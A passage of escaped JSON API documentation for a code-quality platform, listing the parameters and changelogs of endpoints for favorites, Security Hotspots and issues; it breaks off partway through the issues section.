\u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search for the authenticated user favorites.\\u003Cbr\\u003ERequires authentication.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 500\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;100\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 500 } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/hotspots\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.1\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Read and update Security Hotspots.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;change_status\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Change the status of a Security Hotpot.\\u003Cbr/\\u003ERequires the \u0026#39;Administer Security Hotspot\u0026#39; permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Endpoint visibility change from internal to public\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;comment\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comment text.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;This is safe because user input is validated by the calling code\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;hotspot\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Key of the Security Hotspot\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-TpxcA-iU5OvuD2FL0\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;resolution\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Resolution of the Security Hotspot when new status is REVIEWED, otherwise must not be set.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;FIXED\u0026#34;, \u0026#34;SAFE\u0026#34;, \u0026#34;ACKNOWLEDGED\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;status\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;New status of the Security Hotspot.\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;TO_REVIEW\u0026#34;, \u0026#34;REVIEWED\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search for Security Hotpots. \\u003Cbr\\u003ERequires the \u0026#39;Browse\u0026#39; permission on the specified project(s). \\u003Cbr\\u003EFor applications, it also requires \u0026#39;Browse\u0026#39; permission on its child projects. \\u003Cbr\\u003EWhen issue indexing is in progress returns 503 service unavailable HTTP code.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;projectKey\u0026#39; renamed to \u0026#39;project\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;sansTop25\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Endpoint visibility change from internal to public\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add message formatting to issue and locations response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Hotspot flows in the response may contain a description and a type\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.7\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Hotspot in the response contain the corresponding ruleKey\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.7\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Added parameters \u0026#39;pciDss-3.2\u0026#39; and \u0026#39;pciDss-4.0\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;branch\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Branch key. Not available in the community edition.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;feature/my_branch\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;cwe\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of CWE numbers\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.8\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;89,434,352\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;files\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of files. Returns only hotspots found in those files\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.0\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;src/main/java/org/sonar/server/Test.java\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;hotspots\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of Security Hotspot keys. This parameter is required unless project is provided.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AWhXpLoInp4On-Y3xc8x\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;inNewCodePeriod\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;If \u0026#39;inNewCodePeriod\u0026#39; is provided, only Security Hotspots created in the new code period are returned.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.5\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;onlyMine\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;If \u0026#39;projectKey\u0026#39; is provided, returns only Security Hotspots assigned to the current user\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;owaspAsvs-4.0\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of OWASP ASVS v4.0 categories or rules.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.7\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;6,6.1.2\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;owaspAsvsLevel\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filters hotspots with lower or equal OWASP ASVS level to the parameter value. Should be used in combination with the \u0026#39;owaspAsvs-4.0\u0026#39; parameter.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.7\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;1\u0026#34;, \u0026#34;2\u0026#34;, \u0026#34;3\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;owaspTop10\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of OWASP 2017 Top 10 lowercase categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;a1\u0026#34;, \u0026#34;a2\u0026#34;, \u0026#34;a3\u0026#34;, \u0026#34;a4\u0026#34;, \u0026#34;a5\u0026#34;, \u0026#34;a6\u0026#34;, \u0026#34;a7\u0026#34;, \u0026#34;a8\u0026#34;, \u0026#34;a9\u0026#34;, \u0026#34;a10\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;owaspTop10-2021\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of OWASP 2021 Top 10 lowercase categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;a1\u0026#34;, \u0026#34;a2\u0026#34;, \u0026#34;a3\u0026#34;, \u0026#34;a4\u0026#34;, \u0026#34;a5\u0026#34;, \u0026#34;a6\u0026#34;, \u0026#34;a7\u0026#34;, \u0026#34;a8\u0026#34;, \u0026#34;a9\u0026#34;, \u0026#34;a10\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;pciDss-3.2\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of PCI DSS v3.2 categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;4,6.5.8,10.1\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;pciDss-4.0\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of PCI DSS v4.0 categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;4,6.5.8,10.1\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Key of the project or application. This parameter is required unless hotspots is provided.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34;, \u0026#34;deprecatedKey\u0026#34;: \u0026#34;projectKey\u0026#34;, \u0026#34;deprecatedKeySince\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;100\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;pullRequest\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Pull request id. Not available in the community edition.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;5461\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;resolution\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;If \u0026#39;project\u0026#39; is provided and if status is \u0026#39;REVIEWED\u0026#39;, only Security Hotspots with the specified resolution are returned.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;FIXED\u0026#34;, \u0026#34;SAFE\u0026#34;, \u0026#34;ACKNOWLEDGED\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;sansTop25\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of SANS Top 25 categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.0\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;insecure-interaction\u0026#34;, \u0026#34;risky-resource\u0026#34;, \u0026#34;porous-defenses\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;sonarsourceSecurity\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of SonarSource security categories. Use \u0026#39;others\u0026#39; to select issues not associated with any category\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;buffer-overflow\u0026#34;, \u0026#34;sql-injection\u0026#34;, \u0026#34;rce\u0026#34;, \u0026#34;object-injection\u0026#34;, \u0026#34;command-injection\u0026#34;, \u0026#34;path-traversal-injection\u0026#34;, \u0026#34;ldap-injection\u0026#34;, \u0026#34;xpath-injection\u0026#34;, \u0026#34;log-injection\u0026#34;, \u0026#34;xxe\u0026#34;, \u0026#34;xss\u0026#34;, \u0026#34;dos\u0026#34;, \u0026#34;ssrf\u0026#34;, \u0026#34;csrf\u0026#34;, \u0026#34;http-response-splitting\u0026#34;, \u0026#34;open-redirect\u0026#34;, \u0026#34;weak-cryptography\u0026#34;, \u0026#34;auth\u0026#34;, \u0026#34;insecure-conf\u0026#34;, \u0026#34;file-manipulation\u0026#34;, \u0026#34;encrypt-data\u0026#34;, \u0026#34;traceability\u0026#34;, \u0026#34;permission\u0026#34;, \u0026#34;others\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;status\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;If \u0026#39;project\u0026#39; is provided, only Security Hotspots with the specified status are returned.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;TO_REVIEW\u0026#34;, \u0026#34;REVIEWED\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;show\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Provides the details of a Security Hotspot.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Add the \u0026#39;codeVariants\u0026#39; response field\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add message formatting to issue and locations response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Hotspot flows in the response may contain a description and a type\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.7\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The fields rule.riskDescription, rule.fixRecommendations, rule.vulnerabilityDescription of the response are deprecated. /api/rules/show endpoint should be used to fetch rule descriptions.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.5\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;hotspot\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Key of the Security Hotspot\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-TpxcA-iU5OvuD2FL0\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/issues\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;3.6\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Read and update issues.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;add_comment\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Add a comment.\\u003Cbr/\\u003ERequires authentication and the following permission: \u0026#39;Browse\u0026#39; on the project of the specified issue.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;3.6\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The response fields \u0026#39;severity\u0026#39; and \u0026#39;type\u0026#39; are deprecated. Please use \u0026#39;impacts\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The response fields \u0026#39;status\u0026#39; and \u0026#39;resolution\u0026#39; are deprecated. Please use \u0026#39;issueStatus\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;issueStatus\u0026#39; field to the response.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;impacts\u0026#39;, \u0026#39;cleanCodeAttribute\u0026#39;, \u0026#39;cleanCodeAttributeCategory\u0026#39; fields to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Response field \u0026#39;ruleDescriptionContextKey\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The response field components.uuid is removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the database ids of the components are removed from the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response field components.uuid is deprecated. Use components.key instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response returns the issue with all its details\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.3\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;issue\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Issue key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;text\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comment text\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Won\u0026#39;t fix because it doesn\u0026#39;t apply to the context\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;assign\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Assign/Unassign an issue. Requires authentication and Browse permission on project\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;3.6\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The response fields \u0026#39;severity\u0026#39; and \u0026#39;type\u0026#39; are deprecated. Please use \u0026#39;impacts\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The response fields \u0026#39;status\u0026#39; and \u0026#39;resolution\u0026#39; are deprecated. Please use \u0026#39;issueStatus\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;issueStatus\u0026#39; field to the response.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;impacts\u0026#39;, \u0026#39;cleanCodeAttribute\u0026#39;, \u0026#39;cleanCodeAttributeCategory\u0026#39; fields to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Response field \u0026#39;ruleDescriptionContextKey\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The response field components.uuid is removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the database ids of the components are removed from the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;the response field components.uuid is deprecated. Use components.key instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.5\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;assignee\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Login of the assignee. When not set, it will unassign the issue. Use \u0026#39;_me\u0026#39; to assign to current user\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;admin\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;issue\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Issue key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;authors\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search SCM accounts which match a given query.\\u003Cbr/\\u003ERequires authentication.\\u003Cbr/\\u003EWhen issue indexing is in progress returns 503 service unavailable HTTP code.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The maximum size of \u0026#39;ps\u0026#39; is set to 100\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;project\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Project key\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 100\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;10\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 100 }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Limit search to authors that contain the supplied string.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;luke\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;bulk_change\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Bulk change on issues. Up to 500 issues can be updated. \\u003Cbr/\\u003ERequires authentication.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;3.7\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Transitions \u0026#39;wontfix\u0026#39; and \u0026#39;confirm\u0026#39; are now deprecated. Use transition \u0026#39;accept\u0026#39; instead. The transition \u0026#39;unconfirm\u0026#39; is deprecated too.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Transition \u0026#39;accept\u0026#39; is now supported.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameters \u0026#39;set_severity\u0026#39; and \u0026#39;set_type\u0026#39; are now deprecated.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Security hotspots are no longer supported and will be ignored.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Transitions \u0026#39;setinreview\u0026#39;, \u0026#39;resolveasreviewed\u0026#39; and \u0026#39;openasvulnerability\u0026#39; are no more supported\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;actions\u0026#39; parameter is ignored\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.3\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;add_tags\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Add tags\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;security,java8\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;assign\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;To assign the list of issues to a specific user (login), or un-assign all the issues\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;john.smith\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;comment\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Add a comment. The comment will only be added to issues that are affected either by a change of type or a change of severity as a result of the same WS call.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Here is my comment\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;do_transition\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Transition\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;reopen\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;confirm\u0026#34;, \u0026#34;unconfirm\u0026#34;, \u0026#34;reopen\u0026#34;, \u0026#34;resolve\u0026#34;, \u0026#34;falsepositive\u0026#34;, \u0026#34;wontfix\u0026#34;, \u0026#34;close\u0026#34;, \u0026#34;setinreview\u0026#34;, \u0026#34;resolveasreviewed\u0026#34;, \u0026#34;resetastoreview\u0026#34;, \u0026#34;accept\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;issues\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of issue keys\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy,AU-TpxcA-iU5OvuD2FLz\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;remove_tags\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Remove tags\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;security,java8\u0026#34; }, 